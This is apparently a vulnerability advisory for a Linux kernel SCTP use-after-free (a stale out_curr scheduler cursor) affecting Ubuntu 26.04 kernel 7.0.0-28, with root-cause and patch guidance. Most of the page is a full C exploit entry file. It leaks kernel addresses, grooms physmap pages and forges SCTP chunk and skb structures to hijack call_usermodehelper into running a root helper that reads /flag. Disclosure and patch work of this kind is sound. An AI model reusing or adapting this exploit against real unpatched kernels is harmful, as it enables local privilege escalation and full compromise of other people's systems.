Summary
When SCTP replaced its output-stream table, it freed the old table but kept a scheduler cursor pointing into it. The next dequeue could follow that stale cursor and manipulate list pointers inside memory that had already been reused.
The bug was introduced in October 2017 and fixed upstream in June 2026. The public exploit targeted Ubuntu 26.04 with Linux 7.0.0-28.
Why it mattered
A local attacker with access to SCTP inside a network namespace could arrange a stream update followed by scheduler activity. The stale cursor provided a practical kernel memory-corruption path and local privilege escalation.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
sctp_stream_update() replaced stream->out and freed its old genradix, but did not reset stream->out_curr. FCFS, round-robin, priority, and fair-capacity dequeue paths could later dereference the freed stream extension.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(int argc, char **argv){ struct page_ring stage2; struct sctp_trigger trigger; uint64_t search_anchor, physmap, kernel_base, known_page; uint64_t fake_ext; struct utsname uts;
if (argc == 3 && !strcmp(argv[1], "--helper")) return show_flag(argv[2]); if (argc > 2 || (argc == 2 && strcmp(argv[1], "--vuln-trigger"))) { fprintf(stderr, "usage: %s [--vuln-trigger]\n", argv[0]); return 2; } if (argc == 2)
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sched.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <unistd.h>
#include "anchor.h"
#include "leak.h"
#include "trigger.h"
#include "kernelsnitch/utils.h"
#define KERNEL_LINK_BASE UINT64_C(0xffffffff81000000)
#define CALL_USERMODEHELPER_EXEC_OFFSET UINT64_C(0x46ba30)
#define CALL_USERMODEHELPER_WORK_OFFSET UINT64_C(0x46bce0)
#define DO_EXIT_OFFSET UINT64_C(0x44b1f0)
#define WORK_DATA_INIT UINT64_C(0x0fffffffe00000)
#define UBUNTU_IMAGE_EDGE_BIAS UINT64_C(0x200000)
#define STAGE2_BLOCK_SIZE 0x8000U
#define STAGE2_BLOCKS 128U
#define EXT_OFFSET 0x100U
#define CHUNK_OFFSET 0x202U
#define SKB_SUBINFO_OFFSET 0x502U
#define MSG_OFFSET 0x700U
#define ASOC_OFFSET 0x1000U
#define PATH_OFFSET 0x1300U
#define ARGV_OFFSET 0x1380U
#define ENVP_OFFSET 0x13a0U
#define ARG0_OFFSET 0x13c0U
#define ARG1_OFFSET 0x13e0U
#define ENV0_OFFSET 0x1400U
#define ENV1_OFFSET 0x1420U
#define ARG2_OFFSET 0x1460U
#define DATAHDR_OFFSET 0x1500U
_Static_assert(SKB_SUBINFO_OFFSET + 0xe8 < MSG_OFFSET,
"fake skb must not overlap message");
_Static_assert(ASOC_OFFSET + 0x1e3 < PATH_OFFSET,
"association capability byte must fit");
_Static_assert(ARG2_OFFSET + 64 < STAGE2_BLOCK_SIZE,
"stage2 strings must fit");
_Static_assert(DATAHDR_OFFSET + 12 < STAGE2_BLOCK_SIZE,
"fake SCTP data header must fit");
_Static_assert((CHUNK_OFFSET & 0x0f) == 0x02,
"direct chunk RSI must select UMH_WAIT_PROC only");
_Static_assert((SKB_SUBINFO_OFFSET & 0x0f) == 0x02,
"trace-path skb RSI must select UMH_WAIT_PROC only");
static void die(const char *what)
{
perror(what);
exit(1);
}
static void put64(unsigned char *block, size_t offset, uint64_t value)
{
if (offset + sizeof(value) > STAGE2_BLOCK_SIZE) {
errno = ERANGE;
die("stage2 put64");
}
memcpy(block + offset, &value, sizeof(value));
}
static void build_stage2(unsigned char *block, uint64_t direct_page,
uint64_t kernel_base)
{
uint64_t ext = direct_page + EXT_OFFSET;
uint64_t chunk = direct_page + CHUNK_OFFSET;
uint64_t skb = direct_page + SKB_SUBINFO_OFFSET;
uint64_t msg = direct_page + MSG_OFFSET;
uint64_t asoc = direct_page + ASOC_OFFSET;
uint64_t path = direct_page + PATH_OFFSET;
uint64_t argv = direct_page + ARGV_OFFSET;
uint64_t envp = direct_page + ENVP_OFFSET;
uint64_t arg0 = direct_page + ARG0_OFFSET;
uint64_t arg1 = direct_page + ARG1_OFFSET;
uint64_t arg2 = direct_page + ARG2_OFFSET;
uint64_t env0 = direct_page + ENV0_OFFSET;
uint64_t env1 = direct_page + ENV1_OFFSET;
uint64_t datahdr = direct_page + DATAHDR_OFFSET;
uint64_t stream_list = chunk + 0x18;
uint64_t ext_head = ext + 0x30;
uint64_t frag_entry = chunk + 0x28;
char proc_path[64];
char output_path[64];
memset(block, 0, STAGE2_BLOCK_SIZE);
/* stream->out_curr->ext->outq.next selects the forged chunk. */
put64(block, EXT_OFFSET + 0x30, stream_list);
put64(block, EXT_OFFSET + 0x38, stream_list);
/* Both unlink sites are self-consistent under CONFIG_LIST_HARDENED. */
put64(block, CHUNK_OFFSET + 0x00, chunk);
put64(block, CHUNK_OFFSET + 0x08, chunk);
*(uint32_t *)(block + CHUNK_OFFSET + 0x10) = 1;
put64(block, CHUNK_OFFSET + 0x18, ext_head);
put64(block, CHUNK_OFFSET + 0x20, ext_head);
/* One-element msg->chunks list. dequeue_done compares frag_list.next
* directly with msg (the list_head is at offset zero), so this exact
* relationship bypasses its optional data-header dereference. */
put64(block, CHUNK_OFFSET + 0x28, msg);
put64(block, CHUNK_OFFSET + 0x30, msg);
put64(block, CHUNK_OFFSET + 0x38, skb);
put64(block, CHUNK_OFFSET + 0x50, datahdr);
put64(block, CHUNK_OFFSET + 0x90, asoc);
put64(block, CHUNK_OFFSET + 0xe0, msg);
put64(block, CHUNK_OFFSET + 0xf0, 0);
/* intl_capable|prsctp_capable plus abandoned take the destroy branch. */
block[ASOC_OFFSET + 0x1e2] = 0x50;
put64(block, MSG_OFFSET + 0x00, frag_entry);
put64(block, MSG_OFFSET + 0x08, frag_entry);
*(uint32_t *)(block + MSG_OFFSET + 0x10) = 2;
block[MSG_OFFSET + 0x24] = 0x04;
/* flush_data reads ntohs(data_hdr->stream) before abandoned(). Select
* live stream zero explicitly; all other header fields stay zero. */
*(uint16_t *)(block + DATAHDR_OFFSET + 0x04) = 0;
/* One object is both sk_buff and subprocess_info. The workqueue consumes
* it before skb cleanup. cleanup=do_exit prevents invalid kfree(page). */
put64(block, SKB_SUBINFO_OFFSET + 0x00, WORK_DATA_INIT);
put64(block, SKB_SUBINFO_OFFSET + 0x08, skb + 0x08);
put64(block, SKB_SUBINFO_OFFSET + 0x10, skb + 0x08);
put64(block, SKB_SUBINFO_OFFSET + 0x18,
kernel_base + CALL_USERMODEHELPER_WORK_OFFSET);
put64(block, SKB_SUBINFO_OFFSET + 0x28, path);
put64(block, SKB_SUBINFO_OFFSET + 0x30, argv);
put64(block, SKB_SUBINFO_OFFSET + 0x38, envp);
put64(block, SKB_SUBINFO_OFFSET + 0x48, 0);
put64(block, SKB_SUBINFO_OFFSET + 0x50,
kernel_base + DO_EXIT_OFFSET);
put64(block, SKB_SUBINFO_OFFSET + 0x58, 0);
put64(block, SKB_SUBINFO_OFFSET + 0x60,
kernel_base + CALL_USERMODEHELPER_EXEC_OFFSET);
*(uint32_t *)(block + SKB_SUBINFO_OFFSET + 0x70) = 0;
*(uint32_t *)(block + SKB_SUBINFO_OFFSET + 0xdc) = 1;
snprintf(proc_path, sizeof(proc_path), "/proc/%d/exe", getpid());
snprintf(output_path, sizeof(output_path), "/proc/%d/fd/1", getpid());
memcpy(block + PATH_OFFSET, proc_path, strlen(proc_path) + 1);
memcpy(block + ARG0_OFFSET, "_nebusec", sizeof("_nebusec"));
memcpy(block + ARG1_OFFSET, "--helper", sizeof("--helper"));
memcpy(block + ARG2_OFFSET, output_path, strlen(output_path) + 1);
memcpy(block + ENV0_OFFSET, "HOME=/", sizeof("HOME=/"));
memcpy(block + ENV1_OFFSET,
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
sizeof("PATH=/sbin:/usr/sbin:/bin:/usr/bin"));
put64(block, ARGV_OFFSET + 0x00, arg0);
put64(block, ARGV_OFFSET + 0x08, arg1);
put64(block, ARGV_OFFSET + 0x10, arg2);
put64(block, ARGV_OFFSET + 0x18, 0);
put64(block, ENVP_OFFSET + 0x00, env0);
put64(block, ENVP_OFFSET + 0x08, env1);
put64(block, ENVP_OFFSET + 0x10, 0);
}
static int write_all(int fd, const void *data, size_t size)
{
const unsigned char *bytes = data;
while (size) {
ssize_t sent = write(fd, bytes, size);
if (sent <= 0)
return -1;
bytes += sent;
size -= (size_t)sent;
}
return 0;
}
static int show_flag(const char *output_path)
{
unsigned char buffer[4096];
int fd, output;
if (getuid() != 0 || geteuid() != 0)
return 1;
fd = open("/flag", O_RDONLY | O_CLOEXEC);
if (fd < 0)
return 1;
output = open(output_path, O_WRONLY | O_CLOEXEC);
if (output < 0)
return 1;
ssize_t got = read(fd, buffer, sizeof(buffer));
if (got <= 0 || write_all(output, buffer, (size_t)got) < 0)
return 1;
close(fd);
close(output);
return 0;
}
static int vuln_trigger(void)
{
struct sctp_trigger trigger;
enter_user_net_namespace();
setup_veth_sctp_topology();
pin_to_core(0);
if (sctp_trigger_prepare(&trigger) < 0)
die("prepare SCTP stale-cookie sequence");
if (sctp_trigger_create_uaf(&trigger) < 0)
die("create SCTP out_curr UAF");
if (sctp_trigger_flush(&trigger) < 0)
die("trigger stale out_curr load");
fputs("[-] vulnerability trigger returned without a KASAN report\n",
stderr);
return 1;
}
int main(int argc, char **argv)
{
struct page_ring stage2;
struct sctp_trigger trigger;
uint64_t search_anchor, physmap, kernel_base, known_page;
uint64_t fake_ext;
struct utsname uts;
if (argc == 3 && !strcmp(argv[1], "--helper"))
return show_flag(argv[2]);
if (argc > 2 || (argc == 2 && strcmp(argv[1], "--vuln-trigger"))) {
fprintf(stderr, "usage: %s [--vuln-trigger]\n", argv[0]);
return 2;
}
if (argc == 2)
return vuln_trigger();
if (uname(&uts) < 0 || strcmp(uts.machine, "x86_64") ||
strcmp(uts.release, "7.0.0-28-generic")) {
errno = ENOTSUP;
die("unsupported target release");
}
printf("[+] target kernel %s (%s)\n", uts.release, uts.machine);
enter_user_net_namespace();
pin_to_core(0);
kernel_base = KERNEL_LINK_BASE + leak_image_slide_checked() +
UBUNTU_IMAGE_EDGE_BIAS;
physmap = leak_checked_physmap(&search_anchor);
known_page = prepare_known_mm_page(search_anchor);
printf("[+] disclosures kernel=%#llx physmap=%#llx known=%#llx\n",
(unsigned long long)kernel_base,
(unsigned long long)physmap,
(unsigned long long)known_page);
setup_veth_sctp_topology();
pin_to_core(0);
if (prepare_page_ring(&stage2, STAGE2_BLOCK_SIZE) < 0)
die("prepare stage2 ring");
release_known_mm_page();
if (activate_page_ring(&stage2, STAGE2_BLOCKS) < 0)
die("claim known stage2 page");
for (unsigned int i = 0; i < STAGE2_BLOCKS; i++)
build_stage2((unsigned char *)stage2.mapping +
i * STAGE2_BLOCK_SIZE, known_page, kernel_base);
retire_mm_groom();
fake_ext = known_page + EXT_OFFSET;
if (sctp_trigger_prepare(&trigger) < 0)
die("prepare SCTP stale-cookie sequence");
if (sctp_donor_prepare(&trigger) < 0)
die("prepare SCTP donor");
if (sctp_trigger_create_uaf(&trigger) < 0)
die("create quiesced SCTP out_curr UAF");
if (sctp_donor_reclaim(&trigger, fake_ext) < 0)
die("claim stale outbound stream leaf");
puts("[+] reclaim armed");
fflush(stdout);
if (sctp_trigger_flush(&trigger) < 0)
die("trigger stale out_curr load");
fprintf(stderr, "[-] no root helper observed\n");
return 1;
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in June 2026. The fix clears or reestablishes scheduler state when the stream table is replaced. Install the Ubuntu kernel update containing the June 2026 upstream fix; disabling SCTP is a temporary option for systems that cannot update.
The safest check is the distribution’s own kernel changelog for CVE-2026-52924;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
